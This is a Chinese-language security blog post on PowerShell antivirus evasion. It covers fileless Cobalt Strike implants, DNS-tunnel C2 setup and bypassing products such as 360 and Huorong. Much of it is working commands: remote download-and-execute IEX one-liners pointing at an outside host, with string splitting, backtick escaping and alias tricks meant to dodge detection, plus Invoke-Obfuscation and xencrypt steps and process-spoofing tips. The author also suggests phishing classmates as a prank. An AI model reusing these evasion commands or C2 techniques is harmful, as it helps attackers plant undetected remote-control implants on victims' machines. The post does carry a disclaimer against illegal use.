关于Powershell免杀的探索

文章涉及的技术并不深,只是本人在学习powerhshell免杀过程中的记录,文章的内容将涉及到powershell无文件落地上线cs、目标不出网解决办法、bypass最新360 火绒技巧以及对powershell脚本和命令混淆过程及其调用方式的绕过。不会再复述powershell的基础知识,过程中需要理解的部分,我会尽可能言简意赅,本文主要思路来源于Chabug论坛

由于是每晚下班写一部分 时间线会有出入还请多多包涵 有朋友问我 为什么不在本地内网搭建实验 因为免杀这东西放出来就基本凉了 无论是公网还是内网(其实做到了一半 懒得换了 反正免杀都是见光死)
当然还是建议大家自己实验的时候用 内网搭建虚拟机环境断网后再操作 接着重置虚拟机

为什么会选择 Powershell

  • 灵活性高:具有在硬盘中易绕过,内存中难查杀的特点 能够在内存中运行代码,而不需要写入磁盘文件(无文件攻击)
  • 多功能性:可以对操作系统主要功能进行访问 能够直接调用.Net 和 Windows API
  • 普适性强:PowerShell默认安装在Windows机器上(PC:win7及以上 Ser:2008及以上默认安装)
  • 易用性好:PowerShell代码易于动态生成;同时,可以很容易地嵌入恶意软件向量中,例如Office文档(通过使用宏)
  • 隐秘性强:易于混淆、可绕过应用程序白名单、管理员信任、内存加载、缺乏日志记录PowerShell日志默认不能使用

什么情况下会使用到

  • 挖洞 在拿到shell后提高危害(小小的横向扩展)就是现金奖励(需注意有一定风险)
  • 远控 内网渗透中方便横向移动及持久性控制
  • 钓鱼 对同学恶作剧的时候隐蔽性强
  • 需要用到的时候(书到用时方恨少!Ps:实习中的切身感受)

Ps:系统环境信息 cs3.14 (3.14与3.13中的payload不同)阿里云VPS win10

火绒最新版(主要演示内存加载 bypass杀软实验在后面)

无文件攻击

无文件攻击会综合使用系统的白名单功能,powershell属于系统工具,在杀软的白名单中,要查杀只能检测其执行的脚本代码,但因为powershell支持各种混淆、变形、加密、恶意文件放在远程服务器上,通过下载到内存中执行等方式来执行,所以对其进行检测也极为困难Ps:(优:利用文件不落地 内存中难查杀的特点 缺:有明显IP及端口连接信息)

文章开头就提过 这里脚本来源于s1ye师傅师傅的 这里就不再班门弄斧了

大概介绍下采用的是loader + bin文件的形式,首先 生成异或混淆后的bin文件

对加载器稍作修改 把bin文件放在里面 加载PS的同时加载bin 接着把ps脚本及bin文件放在cs上

明显可以看到 流程为 远程加载ps脚本 》 远程加载bin 》 上线 (powershell 命令后面有讲)

目标不出网(DNS隧道)

DNS隧道技术是指将数据封装在DNS协议中,实现隐蔽数据传输,大部分防火墙和入侵检测设备很少会过滤DNS流量,僵尸网络和入侵攻击可几乎无限制地加以利用,实现诸如从持久性远控、文件传输等操作;DNS隧道木马难以得到有效的监控.一方面是因为DNS报文具有天然的穿透防火墙的能力;另一方面, 目前的杀毒软件、IDS等安全策略很少对DNS报文进行有效的监控管理导致在目标机器上几乎是感觉不到的Ps:(优:隐蔽性极强 能解析域名就能上线 缺:默认UDP协议传输数据较慢 不适合文件传输或者抓密码类似的大操作) 参考klionsec师傅

首先,你要创建一条A记录,A记录务必要指向我们自己团队服务器的ip,而后再创建几条ns记录,此处创建了两个ns记录,然后再把所有ns记录的A记录指向刚刚创建的A记录,让解析可以准确的找到我们的团队服务器位置

kali中用dig +trace 域名先来简单跟踪下域名解析过程,看看我们的ns最后是不是被解析到了之前指定的A记录上,如果解析不到,也就意味着你的payload回连时很可能就定位不到团队服务器,后果就是无法正常上线,此处务必成功,再往后继续,否则都是徒劳

配置CS服务器 payload要选择beacon_dns_txt,host要用A记录的域名,最好用一些穿透性比较强的端口(没有占用情况下优先选择:80、443、8080等因为其他端口可能作了限制),接着把我们之前创建的那两个NS域名全部加进去,用逗号隔开即可(我这里的CS破解不完全,导致只能创建一个监听器所以只有DNS监听这里为了演示DNS隧道所以直接生成的exe,实战的时候生成bin文件选择DNS方式通信)

上线后会先是个黑乎乎的机器,默认初始回连时间为(一分钟),DNS-txt是为了每次回传数据量大一点 仔细可以发现DNS上线没有公网IP 执行mode-http(切为http传输)后即可看到目标公网IP

建议参考S1ye师傅的不落地上线方式 该方式避免了dns不出网时还需要上传文件

bypass 实验

在线: virustotal(静态查杀)
本机: 360杀毒最新版本 360安全卫士最新版本 火绒最新版本
目前测试已知可过(卡巴斯基、趋势、windows defender)

简单说一下 不建议把马传到VT检测,因为检测后会有很多沙盒运行能清楚看到CS上线很多主机 这样马会被分析透彻不说 VPS甚至及CS都会被标记起来
可以试试在微步或者奇安信威胁情报中心查询vps标记情况(登陆后查询效果更好) 不说了 我先上了


还有就是执行的时候有个问题就是360对powershell特别敏感会拦截调用 具体怎么绕过后面有讲到 这里能放一张就不放两张了(看不清楚的师傅 可以查看图片或者私我重新做一遍)

对了 卡巴我也没想到 因为我之前试的时候是杀了的 今天刚好朋友帮朋友上一下(已授权 感谢Skay!)没想到上面是卡巴大哥 猜测可能是版本太低的原因

powershell 混淆

powershell 脚本混淆

主要是对敏感字符串改变以及目标就算看到文件内容也不清楚做了什么操作 参考工具 Obfuscation、xencrypt、其实还有以远程加载图片 参考klionsec师傅

Obfuscation 强烈建议执行Tutorial查看帮助命令 然后放在谷歌翻译效果更佳
如果有红色提示此系统上禁止运行脚本 Import-Module 无法加载文件,应该本地执行策略的问题。
解决办法:管理员权限下运行:Set-ExecutionPolicy Unrestricted

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
set scriptpath C:\Users\Mi\Desktop\9821\xxx\xxx\xxx\xxx\Invoke-Obfuscation-master\but.ps1
encoding

流程 加载要混淆的脚本 》 选择功能模块 》 选择混淆方式 》 最后out 1.ps1


xencrypt
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -infile .\but.ps1 -outfile buts.ps1 -iterations 5

这里5表示迭代次数 当然次数越多文件越大 但体积大有什么好处毕竟更加明显 而且不利于远程加载

前不久忘了在哪看到篇文章 上面大概意思是 部分杀软对扫描的文件是有检测时间的限制 如果文件体积够大 导致检测时间超时就达到绕过效果

powershell 命令混淆

利用别名、分割、替换变量等多个方式来绕过检测 该思路主要来源于安全客远控免杀从入门到实践(6)-代码篇-Powershell

原始payload
Invoke-Expression (New-Object Net.WebClient).DownloadString('http:9821.ink/xxx')

安全客
将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx")

变量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx')

转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx')

同样可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')

freebuf
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2)"

powershell "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3)"

chabug #别名
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')

`综合起来 就成了最开始的上线命令`
powershell set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"

powershell 调用方式

主要可以粗略分为两大类,首先是绕过AV的检测规则,其次是换一个方式执行类似 PowerShell 的操作

调用

早在今年四月份的时候 成功实验 powershell.exe改成powershell.com 用powershell.com来执行命令就可达到绕过360及火绒的拦截

目前360已经以对其检测拦截 遗憾的是火绒还未拦截该方法(payload为 CS3.4 powershell /a)

欺骗

还有种方法 利用cs的argue 参数欺骗 参考0x3师傅
powershell一句话上线
直接运行powershell.exe一句话上线命令,会直接被火绒及360拦截

execute执行powershell.exe(shell命令不会成功,因为shell本质是cmd.exe /c arguments)

更多方法可以参考肖洋肖恩师傅 (测试的时候发现部分已不能用了)

后记

  • 感谢给予帮助和支持的同事、chabug论坛以及所在的白帽一百少先队,最后谢谢你
  • 声明:本文章经用于经验及交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意
  • 最后希望大家不要吝啬您的批评或赞美,对我来说都是莫大的支持及鼓励!

点击收藏 | 5 关注 | 2
登录 后跟帖